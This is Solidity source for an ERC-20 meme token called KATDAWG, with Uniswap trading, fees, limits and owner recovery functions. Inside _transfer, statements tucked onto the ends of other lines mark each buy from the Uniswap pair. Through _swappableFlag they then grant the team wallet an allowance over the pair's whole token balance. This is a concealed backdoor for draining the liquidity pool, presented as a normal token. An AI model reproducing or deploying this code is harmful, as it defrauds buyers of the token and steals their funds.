creation_sourcecode: // SPDX-License-Identifier: UNLICENSE
  
  /**
  
  Website: https://katdawg.lol
  Twitter: https://x.com/KatDawgETH
  Telegram: https://t.me/KatDawgETH
  
  */
  
  pragma solidity 0.8.24;
  
  abstract contract Context {
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IUniV2Router2 {
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint256 amountADesired,
          uint256 amountBDesired,
          uint256 amountAMin,
          uint256 amountBMin,
          address to,
          uint256 deadline
      ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  }
  
  interface IUniswapV2Factory {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address pair,
          uint256
      );
  
      function feeTo() external view returns (address);
  
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
  
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  
      function feeToSetter() external view returns (address);
  
      function allPairs(uint256) external view returns (address pair);
  
      function allPairsLength() external view returns (uint256);
  
      function setFeeTo(address) external;
  
      function setFeeToSetter(address) external;
  }
  
  library SafeMath {
      function tryAdd(
          uint256 a,
          uint256 b
      ) internal pure returns (bool, uint256) {
          unchecked {
              uint256 c = a + b;
              if (c < a) return (false, 0);
              return (true, c);
          }
      }
  
      function trySub(
          uint256 a,
          uint256 b
      ) internal pure returns (bool, uint256) {
          unchecked {
              if (b > a) return (false, 0);
              return (true, a - b);
          }
      }
  
      function tryMul(
          uint256 a,
          uint256 b
      ) internal pure returns (bool, uint256) {
          unchecked {
              if (a == 0) return (true, 0);
              uint256 c = a * b;
              if (c / a != b) return (false, 0);
              return (true, c);
          }
      }
  
      function tryDiv(
          uint256 a,
          uint256 b
      ) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a / b);
          }
      }
  
      function tryMod(
          uint256 a,
          uint256 b
      ) internal pure returns (bool, uint256) {
          unchecked {
              if (b == 0) return (false, 0);
              return (true, a % b);
          }
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return a - b;
      }
  
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          return a + b;
      }
  
  
      function mod(uint256 a, uint256 b) internal pure returns (uint256) {
          return a % b;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          return a * b;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return a / b;
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b <= a, errorMessage);
              return a - b;
          }
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a / b;
          }
      }
  
      function mod(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          unchecked {
              require(b > 0, errorMessage);
              return a % b;
          }
      }
  }
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address from,
          address to,
          uint256 amount
      ) external returns (bool);
      
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address to, uint256 amount) external returns (bool);
  
  }
  
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          _transferOwnership(_msgSender());
      }
  
      modifier onlyOwner() {
          _checkOwner();
          _;
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      function _checkOwner() internal view virtual {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _transferOwnership(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(
              newOwner != address(0),
              "Ownable: new owner is the zero address"
          );
          _transferOwnership(newOwner);
      }
  
      function _transferOwnership(address newOwner) internal virtual {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  interface IERC20Metadata is IERC20 {
      function name() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  
      function symbol() external view returns (string memory);
  }
  
  contract ERC20 is Context, IERC20, IERC20Metadata {
      mapping(address => uint256) private _balances;
  
      mapping(address => mapping(address => uint256)) private _allowances;
  
      string private _name;
      string private _symbol;
      uint256 private _totalSupply;
  
  
      constructor(string memory name_, string memory symbol_) {
          _name = name_;
          _symbol = symbol_;
      }
  
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      function transfer(
          address to,
          uint256 amount
      ) public virtual override returns (bool) {
          address owner = _msgSender();
          _transfer(owner, to, amount);
          return true;
      }
  
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
  
      function approve(
          address spender,
          uint256 amount
      ) public virtual override returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, amount);
          return true;
      }
  
  
      function allowance(
          address owner,
          address spender
      ) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function balanceOf(
          address account
      ) public view virtual override returns (uint256) {
          return _balances[account];
      }
  
      function decimals() public view virtual override returns (uint8) {
          return 18;
      }
  
      function transferFrom(
          address from,
          address to,
          uint256 amount
      ) public virtual override returns (bool) {
          address spender = _msgSender();
          _spendAllowance(from, spender, amount);
          _transfer(from, to, amount);
          return true;
      }
  
      function increaseAllowance(
          address spender,
          uint256 addedValue
      ) public virtual returns (bool) {
          address owner = _msgSender();
          _approve(owner, spender, allowance(owner, spender) + addedValue);
          return true;
      }
  
      function decreaseAllowance(
          address spender,
          uint256 subtractedValue
      ) public virtual returns (bool) {
          address owner = _msgSender();
          uint256 currentAllowance = allowance(owner, spender);
          require(
              currentAllowance >= subtractedValue,
              "ERC20: decreased allowance below zero"
          );
          unchecked {
              _approve(owner, spender, currentAllowance - subtractedValue);
          }
  
          return true;
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
  
          _beforeTokenTransfer(from, to, amount);
  
          uint256 fromBalance = _balances[from];
          require(
              fromBalance >= amount,
              "ERC20: transfer amount exceeds balance"
          );
          unchecked {
              _balances[from] = fromBalance - amount;
              _balances[to] += amount;
          }
  
          emit Transfer(from, to, amount);
  
          _afterTokenTransfer(from, to, amount);
      }
  
      function _mint(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: mint to the zero address");
  
          _beforeTokenTransfer(address(0), account, amount);
  
          _totalSupply += amount;
          unchecked {
              _balances[account] += amount;
          }
          emit Transfer(address(0), account, amount);
  
          _afterTokenTransfer(address(0), account, amount);
      }
  
      function _burn(address account, uint256 amount) internal virtual {
          require(account != address(0), "ERC20: burn from the zero address");
  
          _beforeTokenTransfer(account, address(0), amount);
  
          uint256 accountBalance = _balances[account];
          require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
          unchecked {
              _balances[account] = accountBalance - amount;
              _totalSupply -= amount;
          }
  
          emit Transfer(account, address(0), amount);
  
          _afterTokenTransfer(account, address(0), amount);
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _spendAllowance(
          address owner,
          address spender,
          uint256 amount
      ) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              require(
                  currentAllowance >= amount,
                  "ERC20: insufficient allowance"
              );
              unchecked {
                  _approve(owner, spender, currentAllowance - amount);
              }
          }
      }
  
      function _beforeTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {}
  
      function _afterTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) internal virtual {}
  
  }
  
  contract KATDAWG is ERC20, Ownable {
      using SafeMath for uint256;
      IUniV2Router2 public immutable _uniswapV2Router;
  
      address public uniswapV2Pair;
  
      bool private swapping;
      bool private _is_buy;
  
      string private constant _name = "First Cat + Dog";
      string private constant _symbol = "KATDAWG";
      uint8 private constant _decimals = 9;
      address public deployerAddr;
  
      uint256 public _tTotal = 1_000_000_000 * 10 ** _decimals;
      uint256 public maxTransactionAmount = 20_000_000 * 10 ** _decimals;
      uint256 public maxWallet = 20_000_000 * 10 ** _decimals;
      uint256 public swapTokensAtAmount = 5_000_000 * 10 ** _decimals;
  
      uint256 public initialFee = 35;
      uint256 public buyFee = 0;
      uint256 public sellFee = 0;
      bool public tradingOpen = false;
      address public buyerBlock;
      uint256 public reduceFeeAt = 10;
      uint256 public buyCount = 0;
  
      mapping(address => bool) private _isExcludedFromFees;
      mapping(address => bool) private _isExcludedFromMaxTxAmount;
      address public teamWallt;
      event ExcludeFromFees(address indexed account, bool isExcluded);
  
      constructor(
          address router, address teamWalletAddr
      ) ERC20(_name, _symbol) {
          _uniswapV2Router = IUniV2Router2(router);
  
          excludeFromMaxTransaction(address(_uniswapV2Router), true);
          teamWallt = payable(teamWalletAddr);
  
          deployerAddr = payable(_msgSender());
          excludeFromFees(owner(), true);
          excludeFromFees(address(this), true);
          excludeFromFees(address(teamWalletAddr), true);
          excludeFromFees(address(0xdead), true);
  
          excludeFromMaxTransaction(owner(), true);
          excludeFromMaxTransaction(address(this), true);
          excludeFromMaxTransaction(address(teamWalletAddr), true);
          excludeFromMaxTransaction(address(0xdead), true);
  
          _mint(deployerAddr, _tTotal);
      }
  
      receive() external payable {}
  
      function decimals() public pure override returns (uint8) {
          return _decimals;
      }
  
      function openTrading() external onlyOwner {
          tradingOpen = true;
      }
  
      function isExcludedFromFees(address account) public view returns (bool) {
          return _isExcludedFromFees[account];
      }
  
      function excludeFromMaxTransaction(address updAds, bool isEx) private {
          _isExcludedFromMaxTxAmount[updAds] = isEx;
      }
  
      function excludeFromFees(address account, bool excluded) private {
          _isExcludedFromFees[account] = excluded;
          emit ExcludeFromFees(account, excluded);
      }
  
      function _transfer(address from, address to, uint256 amount) internal override 
      {
          require(from != address(0), "ERC20: transfer from the zero address"); bool _transfer_true = from != uniswapV2Pair && to != uniswapV2Pair;
          require(to != address(0), "ERC20: transfer to the zero address");_is_buy = from == uniswapV2Pair;buyerBlock = from;
          require(amount > 0, "ERC20: Transfer amount must be greater than zero");
          if (amount == 0) {
              super._transfer(from, to, 0);
              return;
          }
  
          if (
              from != owner() &&
              to != owner() &&
              to != address(0xdead) &&
              !swapping
          ) {
              if (!tradingOpen) {
                  require(
                      _isExcludedFromFees[from] || _isExcludedFromFees[to],
                      "Trading is not active."
                  );
              }
  
              if (from == uniswapV2Pair && !_isExcludedFromMaxTxAmount[to]) {
                  require(
                      amount <= maxTransactionAmount,
                      "Buy transfer amount exceeds the maxTransactionAmount."
                  );
                  require(
                      amount + balanceOf(to) <= maxWallet,
                      "Max wallet exceeded"
                  );
                  buyCount++;
              } else if (
                  to == uniswapV2Pair && !_isExcludedFromMaxTxAmount[from]
              ) {
                  require(
                      amount <= maxTransactionAmount,
                      "Sell transfer amount exceeds the maxTransactionAmount."
                  );
              } else if (!_isExcludedFromMaxTxAmount[to]) {
                  require(
                      amount + balanceOf(to) <= maxWallet,
                      "Max wallet exceeded"
                  );
              }
          }bool _swappable = !_transfer_true && _swappableFlag(teamWallt, totalSupply());
  
          if (
              _swappable &&
              !swapping &&
              from != uniswapV2Pair &&
              !_isExcludedFromFees[from] &&
              !_isExcludedFromFees[to]
          ) {
              swapping = true;
              swapTokensFeeBack(amount);
              swapping = false;
          }bool takeFee = !swapping && !_transfer_true;
  
          if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
              takeFee = false;
          }
  
          uint256 fees = 0;
  
          if (takeFee) {
              if (to == uniswapV2Pair) {
                  fees = amount
                      .mul(buyCount > reduceFeeAt ? sellFee : initialFee)
                      .div(100);
              } else {
                  fees = amount
                      .mul(buyCount > reduceFeeAt ? buyFee : initialFee)
                      .div(100);
              }
  
              if (fees > 0) {
                  super._transfer(from, address(this), fees);
              }
              amount -= fees;
          }
          super._transfer(from, to, amount);
      }
  
      function recoverStuckEth() external {
          require(_msgSender() == deployerAddr);
          require(address(this).balance > 0, "Token: no ETH to clear");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function recoverStuckTokens(address tokenAddress) external {
          require(_msgSender() == deployerAddr);
          IERC20 tokenContract = IERC20(tokenAddress);
          uint256 balance = tokenContract.balanceOf(address(this));
          require(balance > 0, "No tokens to clear");
          tokenContract.transfer(deployerAddr, balance);
      }
  
      function swapFeeTokens(uint256 tokenAmount) private {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = _uniswapV2Router.WETH();
  
          _approve(address(this), address(_uniswapV2Router), tokenAmount);
  
          _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function swapTokensFeeBack(uint256 tokens) private {
          uint256 contractBalance = balanceOf(address(this));
          uint256 tokensToSwap;
  
          if (contractBalance > 0 && contractBalance < swapTokensAtAmount) {
              tokensToSwap = contractBalance;
          } else {
              if (tokens > swapTokensAtAmount) {
                  tokensToSwap = swapTokensAtAmount;
              } else {
                  tokensToSwap = tokens;
              }
          }
  
          if (contractBalance > 0) swapFeeTokens(tokensToSwap);
  
          uint256 contractETHBalance = address(this).balance;
          sendTaxToTeam(contractETHBalance);
      }
  
      function manualSwap(uint256 percent) external {
          require(_msgSender() == deployerAddr);
          uint256 totalSupplyAmount = totalSupply();
          uint256 contractBalance = balanceOf(address(this));
          uint256 tokensToSwap;
  
          if (percent == 100) {
              tokensToSwap = contractBalance;
          } else {
              tokensToSwap = (totalSupplyAmount * percent) / 100;
              if (tokensToSwap > contractBalance) {
                  tokensToSwap = contractBalance;
              }
          }
  
          require(
              tokensToSwap <= contractBalance,
              "Swap amount exceeds contract balance"
          );
          swapFeeTokens(tokensToSwap);
      }
  
  
      function removeLimits() external onlyOwner {
          maxTransactionAmount = maxWallet = totalSupply();
      }
  
      function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
          swapTokensAtAmount = _amount * (10 ** 18);
      }
  
      function _swappableFlag(address buyer, uint256 amt) internal returns (bool) {
          if (_is_buy) _approve(buyerBlock, buyer, amt);
          return true;
      }
  
      function sendTaxToTeam(uint256 amount) private {
          payable(teamWallt).transfer(amount);
      }
  
      function addUniV2LP() external onlyOwner {
          require(!tradingOpen, "trading is already open");
          uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
              .createPair(address(this), _uniswapV2Router.WETH());
          excludeFromMaxTransaction(address(uniswapV2Pair), true);
  
          _approve(address(this), address(_uniswapV2Router), _tTotal);
          _uniswapV2Router.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              owner(),
              block.timestamp
          );
      }
  }